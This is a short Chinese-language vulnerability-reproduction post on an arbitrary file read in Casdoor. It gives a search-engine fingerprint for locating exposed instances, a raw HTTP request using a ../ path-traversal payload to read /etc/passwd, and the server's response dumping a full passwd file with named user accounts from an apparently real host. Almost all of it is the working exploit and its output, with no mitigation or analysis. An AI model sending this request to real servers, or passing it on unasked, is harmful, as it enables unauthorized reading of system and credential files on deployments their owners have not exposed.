【漏洞复现】Casdoor任意文件读取漏洞

web.title="Casdoor"

GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1Host: xx.xx.xx.xx:9999User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

HTTP/1.1 200 OKAccept-Ranges: bytesContent-Type: text/plain; charset=utf-8Last-Modified: Wed, 22 Feb 2023 06:06:26 GMTSet-Cookie: casdoor_session_id=63f5be26311907baf61aa506b105b441; Path=/; Expires=Tue, 07 Nov 2023 06:55:04 GMT; Max-Age=2592000; HttpOnlyDate: Sun, 08 Oct 2023 06:55:04 GMTConnection: closeContent-Length: 1546
root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinpolkitd:x:999:998:User for polkitd:/:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinpostfix:x:89:89::/var/spool/postfix:/sbin/nologinchrony:x:998:996::/var/lib/chrony:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologintcpdump:x:72:72::/:/sbin/nologinnginx:x:997:995:Nginx web server:/var/lib/nginx:/sbin/nologinapache:x:48:48:Apache:/usr/share/httpd:/sbin/nologinmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/falseredis:x:996:992:Redis Database Server:/var/lib/redis:/sbin/nologinclamupdate:x:995:991:Clamav database update user:/var/lib/clamav:/sbin/nologintss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologinclamscan:x:994:989:Clamav scanner user:/:/sbin/nologinecs-assist-user:x:1002:1006::/home/ecs-assist-user:/sbin/nologinlishuo:x:1003:1003::/home/lishuo:/bin/bashcaozhihao:x:1004:1010::/home/caozhihao:/bin/bash